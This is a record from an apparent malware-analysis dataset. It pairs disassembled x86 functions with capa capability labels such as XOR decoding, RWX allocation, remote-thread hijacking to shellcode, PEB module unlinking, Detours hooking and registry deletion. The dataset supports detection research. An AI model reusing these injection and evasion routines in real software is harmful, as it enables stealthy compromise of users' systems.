joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013e20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x100
push 0
push 0x112831a0
mov ebx, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + 0x1001f070]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x112831a0], cl
inc eax
cmp eax, 0x100
jb 0x10013e40
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push 1
push eax
push 0x112831a0
push 0
mov ecx, 0x10125568
call fcn.1000aff0
mov eax, dword [0x1012f41c]
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
add esp, 0x14
test eax, eax
je 0x10013eb2
push 0
push 0
push 0x10
push eax
call esi
mov ecx, dword [0x11282a24]
mov edx, dword [0x1012f434]
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
push ecx
push edx
mov dword [0x1012f41c], 0
call edi
jmp 0x10013eb8
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x1012f544]
test eax, eax
je 0x10013ee3
push 0
push 0
push 0x10
push eax
call esi
mov eax, dword [0x11282a24]
mov ecx, dword [0x1012f55c]
push eax
push ecx
mov dword [0x1012f544], 0
call edi
mov eax, dword [0x1012f66c]
test eax, eax
je 0x10013f0e
push 0
push 0
push 0x10
push eax
call esi
mov edx, dword [0x11282a24]
mov eax, dword [0x1012f684]
push edx
push eax
mov dword [0x1012f66c], 0
call edi
mov eax, dword [ebp + 8]
sub eax, 0
je 0x10013f32
dec eax
je 0x10013f26
dec eax
jne 0x10013f3e
lea ecx, [eax + 0x6a]
mov eax, 0x2b2bb9
jmp 0x10013f44
mov ecx, 0x69
mov eax, 0x116896
jmp 0x10013f44
mov ecx, 0x67
mov eax, 0x9ca476
jmp 0x10013f44
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
push eax
push edx
call fcn.10012980
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
xor edx, edx
mov ecx, ebx
mov edi, 0x10013d80
mov dword [ebx + 8], eax
call fcn.100159d0
mov eax, dword [ebx + 8]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebx + 4]
test eax, eax
je 0x10013fb6
push 0
push 0
push 0x10
push eax
call esi
mov edx, dword [0x11282a24]
mov eax, dword [ebx + 0x1c]
push edx
push eax
mov dword [ebx + 4], 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
call fcn.100139d0
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x10015720
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x112831a0
mov esi, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
shl esi, 8
lea ecx, [esi + 0x1001c670]
pop esi
mov dl, byte [ecx + eax]
sub dl, 0x1b
xor dl, 0xc
mov byte [eax + 0x112831a0], dl
inc eax
cmp eax, 0x100
jb 0x10015743
mov eax, 0x112831a0
ret

Function at 0x100159d0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov ebx, edx
mov ecx, 0xd6
xor eax, eax
mov dl, byte [eax + 0x10020720]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x100159f0
lea eax, [ebp - 0x18]
push eax
mov ecx, 0x3f668bc7
lea eax, [ebp - 0x24]
mov byte [ebp - 6], 0
call fcn.10016300
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x2f4]
push ecx
push 0x40
push 0x100
push 0x49a551
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push 0
push esi
push 0x49a551
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea edx, [ebp - 0x2f0]
push edx
mov ebx, 0x10002
push esi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
push eax
push esi
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10018c88
mov esp, ebp
pop ebp
ret
Function at 0x10015ac0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x10015b08
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10015b0c
cmp edx, esi
jne 0x10015af1
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x10015b2c
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10015b30
cmp edx, esi
jne 0x10015b15
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x10015b50
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10015b54
cmp edx, esi
jne 0x10015b39
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10016a60
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [0x1012553c]
push edi
cmp esi, dword [0x10125540]
je 0x10016b2e
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
nop
cmp byte [esi], 2
jne 0x10016a9e
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 1]
push ecx
xor ebx, ebx
push closesocket
mov dword [ebp - 4], ebx
call edi
cmp dword [ebp - 4], ebx
jne 0x10016ab3
add esi, 0x105
cmp esi, dword [0x10125540]
jne 0x10016a80
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x10125540]
mov esi, dword [0x1012553c]
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x10016b16
xor edi, edi
cmp byte [edi + esi], 2
jne 0x10016af2
lea ecx, [edi + esi + 1]
push ecx
push closesocket
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov esi, dword [0x1012553c]
mov ecx, dword [0x10125540]
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
inc ebx
add eax, edx
add edi, 0x105
cmp ebx, eax
jb 0x10016ad6
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 6
xor ecx, ecx
call fcn.10002f20
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10016c90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.10016e30
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x10016d54
cmp dword [ebp - 4], 0x50000000
jb 0x10016cd1
cmp dword [ebp - 4], 0x80000000
ja 0x10016cd1
mov dword [ebp - 4], 0x4fff0000
jmp 0x10016caa
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10016cf7
jmp 0x10016d54
cmp dword [ebp - 0x14], 0x10000
jne 0x10016d3a
cmp dword [ebp - 0x18], 0x10000
jb 0x10016d3a
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10016d2d
mov eax, dword [ebp - 8]
jmp 0x10016d56
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10016d4f
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.10016e30
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10016caa
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10016d60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.10016e60
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x10016e1c
cmp dword [ebp - 4], 0x50000000
jb 0x10016d9c
cmp dword [ebp - 4], 0x80000000
ja 0x10016d9c
mov dword [ebp - 4], 0x80010000
jmp 0x10016d75
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10016dc2
jmp 0x10016e1c
cmp dword [ebp - 0x14], 0x10000
jne 0x10016e05
cmp dword [ebp - 0x18], 0x10000
jb 0x10016e05
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10016df8
mov eax, dword [ebp - 8]
jmp 0x10016e1e
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10016e17
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.10016e60
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10016d75
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10017590
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
cmp dword [eax], 0x52727464
je 0x100175a5
xor eax, eax
jmp 0x1001761a
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x10000
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 8]
add eax, 0x48
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
jmp 0x100175d2
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x38d
jae 0x10017615
mov edx, dword [ebp - 4]
imul edx, edx, 0x48
mov eax, dword [ebp - 8]
cmp dword [eax + edx + 0x40], 0
je 0x10017613
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 0xc]
jb 0x1001760f
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 0x10]
jb 0x10017613
xor eax, eax
jmp 0x1001761a
jmp 0x100175c9
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x100177e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1012fab0]
mov dword [ebp - 4], eax
jmp 0x100177f9
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x10017816
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100177f0
mov esp, ebp
pop ebp
ret
Function at 0x10017c60
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x1012fac0], eax
je 0x10017c7e
mov eax, 0x10dd
jmp 0x10017d5f
mov eax, dword [0x1012fad0]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10017cfc
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x10017cda
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x10017cda
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.10017300
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x10017c86
mov dword [0x1012fad0], 0
call fcn.10017620
mov ecx, dword [0x1012facc]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x10017d49
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x10017d14
mov dword [0x1012facc], 0
mov dword [0x1012fac0], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10018250
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x1012fac4], 0
je 0x10018269
mov eax, dword [0x1012fac4]
jmp 0x10018309
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x1001827b
xor eax, eax
jmp 0x10018309
push 8
call fcn.10018d9c
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100182d1
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x100182ba
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x1012fac4], eax
mov dword [0x1012fac8], 0
mov eax, dword [ebp - 8]
jmp 0x10018309
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x100182eb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x1001829b
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x1012facc]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x1012facc], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x10018c88
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10025018]
jne 0x10018c92
repz ret
jmp fcn.100191cb
Function at 0x50c81c2
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor esi, esi
push esi
push esi
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x50c81f4
mov eax, 0x88760359
jmp 0x50c82d0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
jne 0x50c8215
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x88760361
jmp 0x50c82d0
push ebx
push esi
push esi
push esi
push 2
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
mov dword [ebp - 8], ebx
cmp ebx, 0xffffffff
jne 0x50c823e
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x88760361
jmp 0x50c82cf
push esi
push esi
push esi
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 4], eax
cmp eax, esi
jne 0x50c8268
mov ebx, 0x88760361
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
mov eax, ebx
jmp 0x50c82cf
push 0x24
call fcn.050c5c8c
pop ecx
cmp eax, esi
je 0x50c8287
push dword [ebp - 0xc]
mov ecx, eax
push dword [ebp - 4]
push ebx
push edi
call fcn.050c7f2d
mov ebx, eax
jmp 0x50c8289
xor ebx, ebx
cmp ebx, esi
jne 0x50c829d
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ebx, 0x88760356
jmp 0x50c8256
push 0x1c
call fcn.050c5c8c
pop ecx
cmp eax, esi
je 0x50c82b3
push ebx
mov ecx, eax
call fcn.050c76df
jmp 0x50c82b5
xor eax, eax
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
cmp eax, esi
jne 0x50c82cd
mov eax, dword [ebx]
push 1
mov ecx, ebx
call dword [eax]
mov eax, 0x88760356
jmp 0x50c82cf
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret
Function at 0x50c83cf
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push edi
push 0x50c1730
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
cmp eax, edi
jne 0x50c83f3
mov eax, 0x8876036c
jmp 0x50c84e1
push ebx
push 0x50c1720
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
cmp ebx, edi
jne 0x50c8410
mov eax, 0x8876036c
jmp 0x50c84e0
push esi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
cmp esi, edi
je 0x50c84d6
push 0x1c
call fcn.050c5c8c
pop ecx
cmp eax, edi
je 0x50c8442
push esi
push dword [ebp + 8]
mov ecx, eax
push ebx
call fcn.050c785e
mov dword [ebp - 4], eax
jmp 0x50c8445
mov dword [ebp - 4], edi
cmp dword [ebp - 4], edi
jne 0x50c8450
push esi
jmp 0x50c84d0
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 4]
push 0x50c78ca
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, eax
cmp ebx, edi
jne 0x50c847c
mov esi, 0x88760356
mov ecx, dword [ebp - 4]
call fcn.050c4087
mov eax, esi
jmp 0x50c84df
push 0xffffffffffffffff
push edi
lea eax, [ebp - 0x10]
push eax
push 2
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
je 0x50c84a3
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0x8876035b
jmp 0x50c8470
push 0x14
call fcn.050c5c8c
pop ecx
cmp eax, edi
je 0x50c84bc
push dword [ebp - 4]
mov ecx, eax
push ebx
call fcn.050c7f99
jmp 0x50c84be
xor eax, eax
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov dword [esi], eax
call fcn.050c4087
cmp dword [esi], edi
jne 0x50c84dd
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x88760356
jmp 0x50c84df
xor eax, eax
pop esi
pop ebx
pop edi
leave
ret

Function at 0x50c86e1
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x50ccda0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.msvcrt.dll__vscprintf]
inc eax
cmp eax, 0x400
pop ecx
pop ecx
jle 0x50c8715
xor eax, eax
jmp 0x50c874c
lea ecx, [ebp + 0x10]
push ecx
push dword [ebp + 0xc]
push eax
lea eax, [ebp - 0x404]
push eax
call sub.msvcrt.dll_vsprintf_s
add esp, 0x10
push 0
lea ecx, [ebp - 0x408]
push ecx
push eax
lea eax, [ebp - 0x404]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.050cafc7
leave
ret

Function at 0x50c8784
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, esi
and eax, 0xff
push 0
mov dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ebp + 8]
mov ebx, ecx
push eax
push dword [ebx + 4]
call edi
push 0
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ebp + 8]
push eax
push dword [ebx + 4]
sar esi, 8
mov dword [ebp + 8], esi
call edi
push 2
pop eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x50c8d89
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x50ccda0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea eax, [ebp - 0x108]
push eax
xor esi, esi
push esi
push 0x50c17c8
push 0x50c17c4
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x50c8dce
mov eax, 0x88760357
jmp 0x50c8ea6
push esi
push 0x8000080
push 2
push esi
push esi
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10c], eax
cmp eax, 0xffffffff
jne 0x50c8dff
mov eax, 0x88760361
jmp 0x50c8ea6
cmp dword [edi + 0x18], esi
jne 0x50c8e2a
push 0x10
call fcn.050c5c8c
pop ecx
cmp eax, esi
je 0x50c8e21
mov dword [eax], esi
mov dword [eax + 4], esi
mov dword [eax + 8], 0xa
mov dword [eax + 0xc], esi
jmp 0x50c8e23
xor eax, eax
mov dword [edi + 0x18], eax
cmp eax, esi
je 0x50c8e60
lea eax, [ebp - 0x108]
push eax
call fcn.050c7679
pop ecx
mov dword [ebp - 0x110], eax
cmp eax, esi
je 0x50c8e60
mov ecx, dword [edi + 0x18]
lea eax, [ebp - 0x110]
push eax
call fcn.050c9b70
test eax, eax
jge 0x50c8e80
push dword [ebp - 0x110]
call fcn.050c5caa
pop ecx
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 0x88760356
jmp 0x50c8ea6
push esi
lea eax, [ebp - 0x114]
push eax
push dword [ebp + 0xc]
push ebx
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.050cafc7
leave
ret 8
Function at 0x50ca751
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x50ccda0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
lea eax, [ebp - 0x108]
push eax
xor edi, edi
push edi
push 0x50c1850
push 0x50c17c4
mov dword [ebp - 0x110], ebx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x50ca799
mov eax, 0x88760357
jmp 0x50ca894
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call esi
mov dword [ebp - 0x114], eax
cmp eax, 0xffffffff
jne 0x50ca7cd
mov eax, 0x88760361
jmp 0x50ca893
push edi
push edi
push 3
push edi
push 1
push 0x80000000
push ebx
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
cmp esi, 0xffffffff
jne 0x50ca7f5
mov dword [ebp - 0x10c], 0x88760361
jmp 0x50ca841
lea ecx, [ebp - 0x138]
call fcn.050ca43d
lea ecx, [ebp - 0x138]
call fcn.050ca4f0
test eax, eax
jne 0x50ca81b
mov dword [ebp - 0x10c], 0x88760356
jmp 0x50ca833
push dword [ebp - 0x114]
lea ecx, [ebp - 0x138]
push esi
call fcn.050d8f87
mov dword [ebp - 0x10c], eax
push esi
call ebx
lea ecx, [ebp - 0x138]
call fcn.050ca461
push dword [ebp - 0x114]
call ebx
cmp dword [ebp - 0x10c], edi
jge 0x50ca860
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x50ca88d
push dword [ebp - 0x110]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0x110]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x50ca88d
mov dword [ebp - 0x10c], 0x88760361
mov eax, dword [ebp - 0x10c]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.050cafc7
leave
ret

Function at 0x50d34c1
Capabilities:
Encode data using xor

Disassembly:
call 0x50d343a
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x50d346a
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x50d3486
xor edx, 0
jmp 0x50d3491
xor edx, edx
jmp 0x50d34a8
jmp 0x50d34b4
xor eax, eax
push 0x8427d7c0
call 0x50d34c1
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x50d34fd
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x50d34d6
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x50d3514
add eax, 0
jno 0x50d3519
add esi, 0
ret 0x10